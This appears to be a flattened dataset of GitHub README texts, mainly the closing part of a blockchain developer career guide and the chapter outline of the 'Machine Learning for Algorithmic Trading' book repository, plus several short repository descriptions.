technical questions real life events although not available to everyone there are events hosted all around the world where people from different communities within web3 and crypto gather together in order to organize conferences hackathons parties meetups talks and more real life events are one of the best places to find like minded people to become friends with to get hired to network with other interesting people in the space to learn to build new projects at hackathons and push your own boundaries etc it is underrated just how much you can grow as a developer if you surround yourself with people that have the same properties that you want to acquire for yourself the people around you can push you to grow and take you to new heights as they expose you to new challenges and help you along the way who to interact with when you are on the social platforms mentioned above you should target the people that help you grow and make connections with them experts in your preferred field of interest if you talk to people with expertise in the fields that you want to become skilled in then you ll have a much easier time learning them you ll get good connections that will propel you forward in your career and you will also most likely have more opportunities and resources to grow as a developer by getting hired getting tips on how to learn about your specialization field efficiently and more people trying to learn the same things you are learning it is good to share ideas and have two way feedback on any topic you are learning from other people learning the same material you are especially if they are more experienced than you are another good reason to learn in groups ideally pairs is that teaching is the best way to solidify your own knowledge as when you have to explain a complex topic simply you need to have a good understanding of any given topic so that you are capable of explaining it more on this in the mastery https www devpill me docs mastery introduction section people building other primitives in the web3 crypto space expand horizons as someone trying to learn more about blockchain development especially when you are starting out it is great to explore at the beginnning and try many different things before you start specializing in any given field of development that s why you should follow the most proficient people in different fields in order to get a bird s eye view of the space also i recommend reading over other sections within devpill me so that you can see what is out there to learn what content to put out in order to amass social capital putting out good content out into different popular social platforms is crucial as people like to follow individuals and groups that they can get value from e g if you start talking about building in defi then individuals interested in defi will start to follow you like and retweet your posts engage to conversations in comments etc as a blockchain developer in any specialization there s different ways in which you can provide interesting content and distribute it across different social platforms document create at the beginning when you start out as a blockchain developer you usually won t have any novel findings cool things that you are building or projects you are working on so it is good to share your own learning proccess and your journey becoming a blockchain developer talk about your learnings in your journey it is good to talk about different resources you are using to learn the topics you are interested in share it with others and tell them how it has helped you learn about a specific topic also provide commentary and helpful tips which might be missed by people only skimming through the resources and haven t gone into depth talk about the tools you use developers love to talk about their tooling what libraries they use what ide and extensions they use to write code what services and applications they use on a daily basis to organize themselves and be productive and much more ask questions about the things you are learning chances are that many people following you have had the same questions as you in the past and they can provide you with a lot of helpful insight about any given topic be active in threads in that are relevant to your interests if there relevant events happening within the space that you are interested in it is a good idea to engage in public discourse with other people around those events in order to get a better overview of what s happening and to try to extract valuable information learnings out of it retweet things that happen within your field of interest with commentary opinions summarize articles talks events updates discuss code within the projects fields that interest you shitpost express your own personality be yourself for engagement grows your network whilst having fun be creative development doesn t need to be everything you talk about many also use social platforms to make friends and have fun so you can also do funny content light hearted threads on any given topic post pictures of your dog or whatever you want expressing your own individuality is also useful to create your own personal brand on socials conclusion thank you for checking out the blockchain development guide if there is any content you d like to see getting added please check out the contributors contributors section and suggest it there the goal is to make this guide and devpill me https devpill me the best blockchain development guide out there thank you for your support special thanks special thanks to all the contributors protolambda https twitter com protolambda author of the ethereum core development section https www devpill me docs core development introduction 0xjepsen https twitter com 0xjepsen author of the cryptography section https www devpill me docs cryptography introduction | ethereum blockchain-development solidity full-stack decentralized-finance mev | blockchain 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Embedded_team09 | embedded team09 pusan national university embedded system design amp lab | os |
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ceu-cloud-class | scripts for the ceu cloud computing class course website https ceu cloud class github io | spark cloud-computing serverless encryption-algorithms courseware | cloud |
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Gangapur591 | gangapur591 introduction to information technology | server |
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2019_Python_Web_Dev | 2019 python web tutorial version https img shields io badge stable 1 3 1 orange download https img shields io badge download 96 blue license https img shields io badge license gnu 203 0 green python python python 2016 python3 2019 python web python web flask django web orm mvc api css html javascript dom 2020 05 03 aiohttp aiohttp schema sql fabfile py fabric https aodabo tech web1 png https i postimg cc sdkqnbtj web1 png web2 png https i postimg cc bn2yrm0x web2 png web3 png https i postimg cc kx6lv7yy web3 png 2020 python web dev https github com yzyly1992 2019 python web dev python 1 https aodabo tech blog 0015467140723153897237f40b54031ad838d91cc719f12000 python 2 https aodabo tech blog 0015467140257875f2beaf701b94628a91c360026d97d13000 python 3 orm https aodabo tech blog 00154671395836327fd0f81c8724e7fba06c498aea2b630000 python 4 model https aodabo tech blog 001546713871394a2814d2c180b4e6f8d30c62a3eaf218a000 python 5 web https aodabo tech blog 001546713806610decd7219a0a0455c9c28ed34e5e32543000 python 6 https aodabo tech blog 001546713699515d77c2680f9be4c8fbe67a2a11528ba5c000 python 7 mvc https aodabo tech blog 00154671363904297f04d14f8ad4984bbe4d9b75356af2f000 python 8 api https aodabo tech blog 0015467135837969036fa273d0b48feb4a3719fe76ee0da000 python 9 https aodabo tech blog 001546713315865e2ca9cfd0b8b4ea78be9a4253b7991ce000 python 10 https aodabo tech blog 001546713217136e1512fe9a9754066b62d867d9ea283ff000 python 11 https aodabo tech blog 001546713145327a743cdab821a4220bec980d36bfcf8e3000 python 12 https aodabo tech blog 0015467129787908a6e60563fff4563b73b209f4d1f9b74000 python 13 https aodabo tech blog 0015467128745955dd6d3562ca24cc299ebf72242082c0c000 python 14 https aodabo tech blog 001546712781110f93a3009f6ba4a63ba868259827f8349000 python 15 https aodabo tech blog 0015467126618282f6a741af9b34043922eea07e4ffb077000 python 16 python https aodabo tech blog 001546712024642647c50c93de34db58ea68238cf94c030000 python markdown extensions markdown https aodabo tech blog 001566965177983f0ba28fc090447ae838cf1c8fabd8c08000 fabric2 deploy tutorial fabric2 https aodabo tech blog 0015885436666555a7a36801ec246de85db537366de01ed000 | front_end |
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machine-learning-for-trading | ml for trading 2 sup nd sup edition this book https www amazon com machine learning algorithmic trading alternative dp 1839217715 pf rd r gzh2xz35gb3bet09pcca pf rd p c5b6893a 24f2 4a59 9d4b aff5065c90ec pd rd r 91a679c7 f069 4a6e bdbb a2b3f548f0c8 pd rd w 2b0q0 pd rd wg gmy5s ref pd gw ci mcx mr hp d aims to show how ml can add value to algorithmic trading strategies in a practical yet comprehensive way it covers a broad range of ml techniques from linear regression to deep reinforcement learning and demonstrates how to build backtest and evaluate a trading strategy driven by model predictions in four parts with 23 chapters plus an appendix it covers on over 800 pages important aspects of data sourcing financial feature engineering and portfolio management the design and evaluation of long short strategies based on supervised and unsupervised ml algorithms how to extract tradeable signals from financial text data like sec filings earnings call transcripts or financial news using deep learning models like cnn and rnn with market and alternative data how to generate synthetic data with generative adversarial networks and training a trading agent using deep reinforcement learning p align center a href https www amazon com machine learning algorithmic trading alternative dp 1839217715 pf rd r gzh2xz35gb3bet09pcca pf rd p c5b6893a 24f2 4a59 9d4b aff5065c90ec pd rd r 91a679c7 f069 4a6e bdbb a2b3f548f0c8 pd rd w 2b0q0 pd rd wg gmy5s ref pd gw ci mcx mr hp d img src https ml4t s3 amazonaws com assets cover toc gh png width 75 a p this repo contains over 150 notebooks that put the concepts algorithms and use cases discussed in the book into action they provide numerous examples that show how to work with and extract signals from market fundamental and alternative text and image data how to train and tune models that predict returns for different asset classes and investment horizons including how to replicate recently published research and how to design backtest and evaluate trading strategies we highly recommend reviewing the notebooks while reading the book they are usually in an executed state and often contain additional information not included due to space constraints in addition to the information in this repo the book s website ml4trading io contains chapter summary and additional information join the ml4t community to make it easy for readers to ask questions about the book s content and code examples as well as the development and implementation of their own strategies and industry developments we are hosting an online platform https exchange ml4trading io please join https exchange ml4trading io our community and connect with fellow traders interested in leveraging ml for trading strategies share your experience and learn from each other what s new in the 2 sup nd sup edition first and foremost this book https www amazon com machine learning algorithmic trading alternative dp 1839217715 pf rd r vmkjpzc4n36ttzzcwatp pf rd p c5b6893a 24f2 4a59 9d4b aff5065c90ec pd rd r 8f331266 0d21 4c76 a3eb d2e61d23bb31 pd rd w kvgnf pd rd wg lylkh ref pd gw ci mcx mr hp d demonstrates how you can extract signals from a diverse set of data sources and design trading strategies for different asset classes using a broad range of supervised unsupervised and reinforcement learning algorithms it also provides relevant mathematical and statistical knowledge to facilitate the tuning of an algorithm or the interpretation of the results furthermore it covers the financial background that will help you work with market and fundamental data extract informative features and manage the performance of a trading strategy from a practical standpoint the 2nd edition aims to equip you with the conceptual understanding and tools to develop your own ml based trading strategies to this end it frames ml as a critical element in a process rather than a standalone exercise introducing the end to end ml for trading workflow from data sourcing feature engineering and model optimization to strategy design and backtesting more specifically the ml4t workflow starts with generating ideas for a well defined investment universe collecting relevant data and extracting informative features it also involves designing tuning and evaluating ml models suited to the predictive task finally it requires developing trading strategies to act on the models predictive signals as well as simulating and evaluating their performance on historical data using a backtesting engine once you decide to execute an algorithmic strategy in a real market you will find yourself iterating over this workflow repeatedly to incorporate new information and a changing environment p align center img src https i imgur com kcgitgp png width 75 p the second edition https www amazon com machine learning algorithmic trading alternative dp 1839217715 pf rd r gzh2xz35gb3bet09pcca pf rd p c5b6893a 24f2 4a59 9d4b aff5065c90ec pd rd r 91a679c7 f069 4a6e bdbb a2b3f548f0c8 pd rd w 2b0q0 pd rd wg gmy5s ref pd gw ci mcx mr hp d s emphasis on the ml4t workflow translates into a new chapter on strategy backtesting 08 ml4t workflow a new appendix 24 alpha factor library describing over 100 different alpha factors and many new practical applications we have also rewritten most of the existing content for clarity and readability the trading applications now use a broader range of data sources beyond daily us equity prices including international stocks and etfs it also demonstrates how to use ml for an intraday strategy with minute frequency equity data furthermore it extends the coverage of alternative data sources to include sec filings for sentiment analysis and return forecasts as well as satellite images to classify land use another innovation of the second edition is to replicate several trading applications recently published in top journals chapter 18 18 convolutional neural nets demonstrates how to apply convolutional neural networks to time series converted to image format for return predictions based on sezer and ozbahoglu https www researchgate net publication 324802031 algorithmic financial trading with deep convolutional neural networks time series to image conversion approach 2018 chapter 20 20 autoencoders for conditional risk factors shows how to extract risk factors conditioned on stock characteristics for asset pricing using autoencoders based on autoencoder asset pricing models https www aqr com insights research working paper autoencoder asset pricing models by shihao gu bryan t kelly and dacheng xiu 2019 and chapter 21 21 gans for synthetic time series shows how to create synthetic training data using generative adversarial networks based on time series generative adversarial networks https papers nips cc paper 8789 time series generative adversarial networks by jinsung yoon daniel jarrett and mihaela van der schaar 2019 all applications now use the latest available at the time of writing software versions such as pandas 1 0 and tensorflow 2 2 there is also a customized version of zipline that makes it easy to include machine learning model predictions when designing a trading strategy installation data sources and bug reports the code examples rely on a wide range of python libraries from the data science and finance domains it is not necessary to try and install all libraries at once because this increases the likeliihood of encountering version conflicts instead we recommend that you install the libraries required for a specific chapter as you go along update march 2022 zipline reloaded pyfolio reloaded alphalens reloaded and empyrical reloaded are now available on the conda forge channel the channel ml4t only contains outdated versions and will soon be removed update april 2021 with the update of zipline https zipline ml4trading io it is no longer necessary to use docker the installation instructions now refer to os specific environment files that should simplify your running of the notebooks update februar 2021 code sample release 2 0 updates the conda environments provided by the docker image to python 3 8 pandas 1 2 and tensorflow 1 2 among others the zipline backtesting environment with now uses python 3 6 the installation installation readme md directory contains detailed instructions on setting up and using a docker image to run the notebooks it also contains configuration files for setting up various conda environments and install the packages used in the notebooks directly on your machine if you prefer and depending on your system are prepared to go the extra mile to download and preprocess many of the data sources used in this book see the instructions in the readme data readme md file alongside various notebooks in the data data directory if you have any difficulties installing the environments downloading the data or running the code please raise a github issue in the repo here https github com stefan jansen machine learning for trading issues working with github issues has been described here https guides github com features issues update you can download the algoseek https www algoseek com data used in the book here https www algoseek com ml4t book data html see instructions for preprocessing in chapter 2 02 market and fundamental data 02 algoseek intraday readme md and an intraday example with a gradient boosting model in chapter 12 12 gradient boosting machines 10 intraday features ipynb update the figures figures directory contains color versions of the charts used in the book outline chapter summary the book https www amazon com machine learning algorithmic trading alternative dp 1839217715 pf rd r gzh2xz35gb3bet09pcca pf rd p c5b6893a 24f2 4a59 9d4b aff5065c90ec pd rd r 91a679c7 f069 4a6e bdbb a2b3f548f0c8 pd rd w 2b0q0 pd rd wg gmy5s ref pd gw ci mcx mr hp d has four parts that address different challenges that arise when sourcing and working with market fundamental and alternative data sourcing developing ml solutions to various predictive tasks in the trading context and designing and evaluating a trading strategy that relies on predictive signals generated by an ml model the directory for each chapter contains a readme with additional information on content code examples and additional resources part 1 from data to strategy development part 1 from data to strategy development 01 machine learning for trading from idea to execution 01 machine learning for trading from idea to execution 02 market fundamental data sources and techniques 02 market fundamental data sources and techniques 03 alternative data for finance categories and use cases 03 alternative data for finance categories and use cases 04 financial feature engineering how to research alpha factors 04 financial feature engineering how to research alpha factors 05 portfolio optimization and performance evaluation 05 portfolio optimization and performance evaluation part 2 machine learning for trading fundamentals part 2 machine learning for trading fundamentals 06 the machine learning process 06 the machine learning process 07 linear models from risk factors to return forecasts 07 linear models from risk factors to return forecasts 08 the ml4t workflow from model to strategy backtesting 08 the ml4t workflow from model to strategy backtesting 09 time series models for volatility forecasts and statistical arbitrage 09 time series models for volatility forecasts and statistical arbitrage 10 bayesian ml dynamic sharpe ratios and pairs trading 10 bayesian ml dynamic sharpe ratios and pairs trading 11 random forests a long short strategy for japanese stocks 11 random forests a long short strategy for japanese stocks 12 boosting your trading strategy 12 boosting your trading strategy 13 data driven risk factors and asset allocation with unsupervised learning 13 data driven risk factors and asset allocation with unsupervised learning part 3 natural language processing for trading part 3 natural language processing for trading 14 text data for trading sentiment analysis 14 text data for trading sentiment analysis 15 topic modeling summarizing financial news 15 topic modeling summarizing financial news 16 word embeddings for earnings calls and sec filings 16 word embeddings for earnings calls and sec filings part 4 deep reinforcement learning part 4 deep reinforcement learning 17 deep learning for trading 17 deep learning for trading 18 cnn for financial time series and satellite images 18 cnn for financial time series and satellite images 19 rnn for multivariate time series and sentiment analysis 19 rnn for multivariate time series and sentiment analysis 20 autoencoders for conditional risk factors and asset pricing 20 autoencoders for conditional risk factors and asset pricing 21 generative adversarial nets for synthetic time series data 21 generative adversarial nets for synthetic time series data 22 deep reinforcement learning building a trading agent 22 deep reinforcement learning building a trading agent 23 conclusions and next steps 23 conclusions and next steps 24 appendix alpha factor library 24 appendix alpha factor library part 1 from data to strategy development the first part provides a framework for developing trading strategies driven by machine learning ml it focuses on the data that power the ml algorithms and strategies discussed in this book outlines how to engineer and evaluates features suitable for ml models and how to manage and measure a portfolio s performance while executing a trading strategy 01 machine learning for trading from idea to execution this chapter 01 machine learning for trading explores industry trends that have led to the emergence of ml as a source of competitive advantage in the investment industry we will also look at where ml fits into the investment process to enable algorithmic trading strategies more specifically it covers the following topics key trends behind the rise of ml in the investment industry the design and execution of a trading strategy that leverages ml popular use cases for ml in trading 02 market fundamental data sources and techniques this chapter 02 market and fundamental data shows how to work with market and fundamental data and describes critical aspects of the environment that they reflect for example familiarity with various order types and the trading infrastructure matter not only for the interpretation of the data but also to correctly design backtest simulations we also illustrate how to use python to access and manipulate trading and financial statement data practical examples demonstrate how to work with trading data from nasdaq tick data and algoseek minute bar data with a rich set of attributes capturing the demand supply dynamic that we will later use for an ml based intraday strategy we also cover various data provider apis and how to source financial statement information from the sec p align center img src https i imgur com enaso0c png title order book width 50 p in particular this chapter covers how market data reflects the structure of the trading environment working with intraday trade and quotes data at minute frequency reconstructing the limit order book from tick data using nasdaq itch summarizing tick data using various types of bars working with extensible business reporting language xbrl encoded electronic filings parsing and combining market and fundamental data to create a p e series how to access various market and fundamental data sources using python 03 alternative data for finance categories and use cases this chapter 03 alternative data outlines categories and use cases of alternative data describes criteria to assess the exploding number of sources and providers and summarizes the current market landscape it also demonstrates how to create alternative data sets by scraping websites such as collecting earnings call transcripts for use with natural language processing nlp and sentiment analysis algorithms in the third part of the book more specifically this chapter covers which new sources of signals have emerged during the alternative data revolution how individuals business and sensors generate a diverse set of alternative data important categories and providers of alternative data evaluating how the burgeoning supply of alternative data can be used for trading working with alternative data in python such as by scraping the internet 04 financial feature engineering how to research alpha factors if you are already familiar with ml you know that feature engineering is a crucial ingredient for successful predictions it matters at least as much in the trading domain where academic and industry researchers have investigated for decades what drives asset markets and prices and which features help to explain or predict price movements p align center img src https i imgur com ucu4huo png width 70 p this chapter 04 alpha factor research outlines the key takeaways of this research as a starting point for your own quest for alpha factors it also presents essential tools to compute and test alpha factors highlighting how the numpy pandas and ta lib libraries facilitate the manipulation of data and present popular smoothing techniques like the wavelets and the kalman filter that help reduce noise in data after reading it you will know about which categories of factors exist why they work and how to measure them creating alpha factors using numpy pandas and ta lib how to de noise data using wavelets and the kalman filter using zipline to test individual and multiple alpha factors how to use alphalens https github com quantopian alphalens to evaluate predictive performance 05 portfolio optimization and performance evaluation alpha factors generate signals that an algorithmic strategy translates into trades which in turn produce long and short positions the returns and risk of the resulting portfolio determine whether the strategy meets the investment objectives p align center img src https i imgur com e2h63zb png width 65 p there are several approaches to optimize portfolios these include the application of machine learning ml to learn hierarchical relationships among assets and treat them as complements or substitutes when designing the portfolio s risk profile this chapter 05 strategy evaluation covers how to measure portfolio risk and return managing portfolio weights using mean variance optimization and alternatives using machine learning to optimize asset allocation in a portfolio context simulating trades and create a portfolio based on alpha factors using zipline how to evaluate portfolio performance using pyfolio https quantopian github io pyfolio part 2 machine learning for trading fundamentals the second part covers the fundamental supervised and unsupervised learning algorithms and illustrates their application to trading strategies it also introduces the quantopian platform that allows you to leverage and combine the data and ml techniques developed in this book to implement algorithmic strategies that execute trades in live markets 06 the machine learning process this chapter 06 machine learning process kicks off part 2 that illustrates how you can use a range of supervised and unsupervised ml models for trading we will explain each model s assumptions and use cases before we demonstrate relevant applications using various python libraries there are several aspects that many of these models and their applications have in common this chapter covers these common aspects so that we can focus on model specific usage in the following chapters it sets the stage by outlining how to formulate train tune and evaluate the predictive performance of ml models as a systematic workflow the content includes p align center img src https i imgur com 5qiscle png width 65 p how supervised and unsupervised learning from data works training and evaluating supervised learning models for regression and classification tasks how the bias variance trade off impacts predictive performance how to diagnose and address prediction errors due to overfitting using cross validation to optimize hyperparameters with a focus on time series data why financial data requires additional attention when testing out of sample 07 linear models from risk factors to return forecasts linear models are standard tools for inference and prediction in regression and classification contexts numerous widely used asset pricing models rely on linear regression regularized models like ridge and lasso regression often yield better predictions by limiting the risk of overfitting typical regression applications identify risk factors that drive asset returns to manage risks or predict returns classification problems on the other hand include directional price forecasts p align center img src https i imgur com 3ph6jma png width 65 p chapter 07 07 linear models covers the following topics how linear regression works and which assumptions it makes training and diagnosing linear regression models using linear regression to predict stock returns use regularization to improve the predictive performance how logistic regression works converting a regression into a classification problem 08 the ml4t workflow from model to strategy backtesting this chapter 08 ml4t workflow presents an end to end perspective on designing simulating and evaluating a trading strategy driven by an ml algorithm we will demonstrate in detail how to backtest an ml driven strategy in a historical market context using the python libraries backtrader https www backtrader com and zipline https zipline ml4trading io index html the ml4t workflow ultimately aims to gather evidence from historical data that helps decide whether to deploy a candidate strategy in a live market and put financial resources at risk a realistic simulation of your strategy needs to faithfully represent how security markets operate and how trades execute also several methodological aspects require attention to avoid biased results and false discoveries that will lead to poor investment decisions p align center img src https i imgur com r9o0fn3 png width 65 p more specifically after working through this chapter you will be able to plan and implement end to end strategy backtesting understand and avoid critical pitfalls when implementing backtests discuss the advantages and disadvantages of vectorized vs event driven backtesting engines identify and evaluate the key components of an event driven backtester design and execute the ml4t workflow using data sources at minute and daily frequencies with ml models trained separately or as part of the backtest use zipline and backtrader to design and evaluate your own strategies 09 time series models for volatility forecasts and statistical arbitrage this chapter 09 time series models focuses on models that extract signals from a time series history to predict future values for the same time series time series models are in widespread use due to the time dimension inherent to trading it presents tools to diagnose time series characteristics such as stationarity and extract features that capture potentially useful patterns it also introduces univariate and multivariate time series models to forecast macro data and volatility patterns finally it explains how cointegration identifies common trends across time series and shows how to develop a pairs trading strategy based on this crucial concept p align center img src https i imgur com cgllgj0 png width 90 p in particular it covers how to use time series analysis to prepare and inform the modeling process estimating and diagnosing univariate autoregressive and moving average models building autoregressive conditional heteroskedasticity arch models to predict volatility how to build multivariate vector autoregressive models using cointegration to develop a pairs trading strategy 10 bayesian ml dynamic sharpe ratios and pairs trading bayesian statistics allows us to quantify uncertainty about future events and refine estimates in a principled way as new information arrives this dynamic approach adapts well to the evolving nature of financial markets bayesian approaches to ml enable new insights into the uncertainty around statistical metrics parameter estimates and predictions the applications range from more granular risk management to dynamic updates of predictive models that incorporate changes in the market environment p align center img src https i imgur com qoupidv png width 80 p more specifically this chapter 10 bayesian machine learning covers how bayesian statistics applies to machine learning probabilistic programming with pymc3 defining and training machine learning models using pymc3 how to run state of the art sampling methods to conduct approximate inference bayesian ml applications to compute dynamic sharpe ratios dynamic pairs trading hedge ratios and estimate stochastic volatility 11 random forests a long short strategy for japanese stocks this chapter 11 decision trees random forests applies decision trees and random forests to trading decision trees learn rules from data that encode nonlinear input output relationships we show how to train a decision tree to make predictions for regression and classification problems visualize and interpret the rules learned by the model and tune the model s hyperparameters to optimize the bias variance tradeoff and prevent overfitting the second part of the chapter introduces ensemble models that combine multiple decision trees in a randomized fashion to produce a single prediction with a lower error it concludes with a long short strategy for japanese equities based on trading signals generated by a random forest model p align center img src https i imgur com s4s0rou png width 80 p in short this chapter covers use decision trees for regression and classification gain insights from decision trees and visualize the rules learned from the data understand why ensemble models tend to deliver superior results use bootstrap aggregation to address the overfitting challenges of decision trees train tune and interpret random forests employ a random forest to design and evaluate a profitable trading strategy 12 boosting your trading strategy gradient boosting is an alternative tree based ensemble algorithm that often produces better results than random forests the critical difference is that boosting modifies the data used to train each tree based on the cumulative errors made by the model while random forests train many trees independently using random subsets of the data boosting proceeds sequentially and reweights the data this chapter 12 gradient boosting machines shows how state of the art libraries achieve impressive performance and apply boosting to both daily and high frequency data to backtest an intraday trading strategy p align center img src https i imgur com re0ui0h png width 70 p more specifically we will cover the following topics how does boosting differ from bagging and how did gradient boosting evolve from adaptive boosting design and tune adaptive and gradient boosting models with scikit learn build optimize and evaluate gradient boosting models on large datasets with the state of the art implementations xgboost lightgbm and catboost interpreting and gaining insights from gradient boosting models using shap https github com slundberg shap values and using boosting with high frequency data to design an intraday strategy 13 data driven risk factors and asset allocation with unsupervised learning dimensionality reduction and clustering are the main tasks for unsupervised learning dimensionality reduction transforms the existing features into a new smaller set while minimizing the loss of information a broad range of algorithms exists that differ by how they measure the loss of information whether they apply linear or non linear transformations or the constraints they impose on the new feature set clustering algorithms identify and group similar observations or features instead of identifying new features algorithms differ in how they define the similarity of observations and their assumptions about the resulting groups p align center img src https i imgur com rfk7ucm png width 70 p more specifically this chapter 13 unsupervised learning covers how principal and independent component analysis pca and ica perform linear dimensionality reduction identifying data driven risk factors and eigenportfolios from asset returns using pca effectively visualizing nonlinear high dimensional data using manifold learning using t sne and umap to explore high dimensional image data how k means hierarchical and density based clustering algorithms work using agglomerative clustering to build robust portfolios with hierarchical risk parity part 3 natural language processing for trading text data are rich in content yet unstructured in format and hence require more preprocessing so that a machine learning algorithm can extract the potential signal the critical challenge consists of converting text into a numerical format for use by an algorithm while simultaneously expressing the semantics or meaning of the content the next three chapters cover several techniques that capture language nuances readily understandable to humans so that machine learning algorithms can also interpret them 14 text data for trading sentiment analysis text data is very rich in content but highly unstructured so that it requires more preprocessing to enable an ml algorithm to extract relevant information a key challenge consists of converting text into a numerical format without losing its meaning this chapter 14 working with text data shows how to represent documents as vectors of token counts by creating a document term matrix that in turn serves as input for text classification and sentiment analysis it also introduces the naive bayes algorithm and compares its performance to linear and tree based models in particular in this chapter covers what the fundamental nlp workflow looks like how to build a multilingual feature extraction pipeline using spacy and textblob performing nlp tasks like part of speech tagging or named entity recognition converting tokens to numbers using the document term matrix classifying news using the naive bayes model how to perform sentiment analysis using different ml algorithms 15 topic modeling summarizing financial news this chapter 15 topic modeling uses unsupervised learning to model latent topics and extract hidden themes from documents these themes can generate detailed insights into a large corpus of financial reports topic models automate the creation of sophisticated interpretable text features that in turn can help extract trading signals from extensive collections of texts they speed up document review enable the clustering of similar documents and produce annotations useful for predictive modeling applications include identifying critical themes in company disclosures earnings call transcripts or contracts and annotation based on sentiment analysis or using returns of related assets p align center img src https i imgur com vvsntca png width 60 p more specifically it covers how topic modeling has evolved what it achieves and why it matters reducing the dimensionality of the dtm using latent semantic indexing extracting topics with probabilistic latent semantic analysis plsa how latent dirichlet allocation lda improves plsa to become the most popular topic model visualizing and evaluating topic modeling results running lda using scikit learn and gensim how to apply topic modeling to collections of earnings calls and financial news articles 16 word embeddings for earnings calls and sec filings this chapter 16 word embeddings uses neural networks to learn a vector representation of individual semantic units like a word or a paragraph these vectors are dense with a few hundred real valued entries compared to the higher dimensional sparse vectors of the bag of words model as a result these vectors embed or locate each semantic unit in a continuous vector space embeddings result from training a model to relate tokens to their context with the benefit that similar usage implies a similar vector as a result they encode semantic aspects like relationships among words through their relative location they are powerful features that we will use with deep learning models in the following chapters p align center img src https i imgur com v8w9xll png width 80 p more specifically in this chapter we will cover what word embeddings are and how they capture semantic information how to obtain and use pre trained word vectors which network architectures are most effective at training word2vec models how to train a word2vec model using tensorflow and gensim visualizing and evaluating the quality of word vectors how to train a word2vec model on sec filings to predict stock price moves how doc2vec extends word2vec and helps with sentiment analysis why the transformer s attention mechanism had such an impact on nlp how to fine tune pre trained bert models on financial data part 4 deep reinforcement learning part four explains and demonstrates how to leverage deep learning for algorithmic trading the powerful capabilities of deep learning algorithms to identify patterns in unstructured data make it particularly suitable for alternative data like images and text the sample applications show for exapmle how to combine text and price data to predict earnings surprises from sec filings generate synthetic time series to expand the amount of training data and train a trading agent using deep reinforcement learning several of these applications replicate research recently published in top journals 17 deep learning for trading this chapter 17 deep learning presents feedforward neural networks nn and demonstrates how to efficiently train large models using backpropagation while managing the risks of overfitting it also shows how to use tensorflow 2 0 and pytorch and how to optimize a nn architecture to generate trading signals in the following chapters we will build on this foundation to apply various architectures to different investment applications with a focus on alternative data these include recurrent nn tailored to sequential data like time series or natural language and convolutional nn particularly well suited to image data we will also cover deep unsupervised learning such as how to create synthetic data using generative adversarial networks gan moreover we will discuss reinforcement learning to train agents that interactively learn from their environment p align center img src https i imgur com 5cet0fi png width 70 p in particular this chapter will cover how dl solves ai challenges in complex domains key innovations that have propelled dl to its current popularity how feedforward networks learn representations from data designing and training deep neural networks nns in python implementing deep nns using keras tensorflow and pytorch building and tuning a deep nn to predict asset returns designing and backtesting a trading strategy based on deep nn signals 18 cnn for financial time series and satellite images cnn architectures continue to evolve this chapter describes building blocks common to successful applications demonstrates how transfer learning can speed up learning and how to use cnns for object detection cnns can generate trading signals from images or time series data satellite data can anticipate commodity trends via aerial images of agricultural areas mines or transport networks camera footage can help predict consumer activity we show how to build a cnn that classifies economic activity in satellite images cnns can also deliver high quality time series classification results by exploiting their structural similarity with images and we design a strategy based on time series data formatted like images p align center img src https i imgur com pllqv0m png width 60 p more specifically this chapter 18 convolutional neural nets covers how cnns employ several building blocks to efficiently model grid like data training tuning and regularizing cnns for images and time series data using tensorflow using transfer learning to streamline cnns even with fewer data designing a trading strategy using return predictions by a cnn trained on time series data formatted like images how to classify economic activity based on satellite images 19 rnn for multivariate time series and sentiment analysis recurrent neural networks rnns compute each output as a function of the previous output and new data effectively creating a model with memory that shares parameters across a deeper computational graph prominent architectures include long short term memory lstm and gated recurrent units gru that address the challenges of learning long range dependencies rnns are designed to map one or more input sequences to one or more output sequences and are particularly well suited to natural language they can also be applied to univariate and multivariate time series to predict market or fundamental data this chapter covers how rnn can model alternative text data using the word embeddings that we covered in chapter 16 to classify the sentiment expressed in documents p align center img src https i imgur com e9foapg png width 60 p more specifically this chapter addresses how recurrent connections allow rnns to memorize patterns and model a hidden state unrolling and analyzing the computational graph of rnns how gated units learn to regulate rnn memory from data to enable long range dependencies designing and training rnns for univariate and multivariate time series in python how to learn word embeddings or use pretrained word vectors for sentiment analysis with rnns building a bidirectional rnn to predict stock returns using custom word embeddings 20 autoencoders for conditional risk factors and asset pricing this chapter 20 autoencoders for conditional risk factors shows how to leverage unsupervised deep learning for trading we also discuss autoencoders namely a neural network trained to reproduce the input while learning a new representation encoded by the parameters of a hidden layer autoencoders have long been used for nonlinear dimensionality reduction leveraging the nn architectures we covered in the last three chapters we replicate a recent aqr paper that shows how autoencoders can underpin a trading strategy we will use a deep neural network that relies on an autoencoder to extract risk factors and predict equity returns conditioned on a range of equity attributes p align center img src https i imgur com acme0ud png width 60 p more specifically in this chapter you will learn about which types of autoencoders are of practical use and how they work building and training autoencoders using python using autoencoders to extract data driven risk factors that take into account asset characteristics to predict returns 21 generative adversarial nets for synthetic time series data this chapter introduces generative adversarial networks gan gans train a generator and a discriminator network in a competitive setting so that the generator learns to produce samples that the discriminator cannot distinguish from a given class of training data the goal is to yield a generative model capable of producing synthetic samples representative of this class while most popular with image data gans have also been used to generate synthetic time series data in the medical domain subsequent experiments with financial data explored whether gans can produce alternative price trajectories useful for ml training or strategy backtests we replicate the 2019 neurips time series gan paper to illustrate the approach and demonstrate the results p align center img src https i imgur com w1rp89k png width 60 p more specifically in this chapter you will learn about how gans work why they are useful and how they could be applied to trading designing and training gans using tensorflow 2 generating synthetic financial data to expand the inputs available for training ml models and backtesting 22 deep reinforcement learning building a trading agent reinforcement learning rl models goal directed learning by an agent that interacts with a stochastic environment rl optimizes the agent s decisions concerning a long term objective by learning the value of states and actions from a reward signal the ultimate goal is to derive a policy that encodes behavioral rules and maps states to actions this chapter 22 deep reinforcement learning shows how to formulate and solve an rl problem it covers model based and model free methods introduces the openai gym environment and combines deep learning with rl to train an agent that navigates a complex environment finally we ll show you how to adapt rl to algorithmic trading by modeling an agent that interacts with the financial market while trying to optimize an objective function p align center img src https i imgur com lg0ofbz png width 60 p more specifically this chapter will cover define a markov decision problem mdp use value and policy iteration to solve an mdp apply q learning in an environment with discrete states and actions build and train a deep q learning agent in a continuous environment use the openai gym to design a custom market environment and train an rl agent to trade stocks 23 conclusions and next steps in this concluding chapter we will briefly summarize the essential tools applications and lessons learned throughout the book to avoid losing sight of the big picture after so much detail we will then identify areas that we did not cover but would be worth focusing on as you expand on the many machine learning techniques we introduced and become productive in their daily use in sum in this chapter we will review key takeaways and lessons learned point out the next steps to build on the techniques in this book suggest ways to incorporate ml into your investment process 24 appendix alpha factor library throughout this book we emphasized how the smart design of features including appropriate preprocessing and denoising typically leads to an effective strategy this appendix synthesizes some of 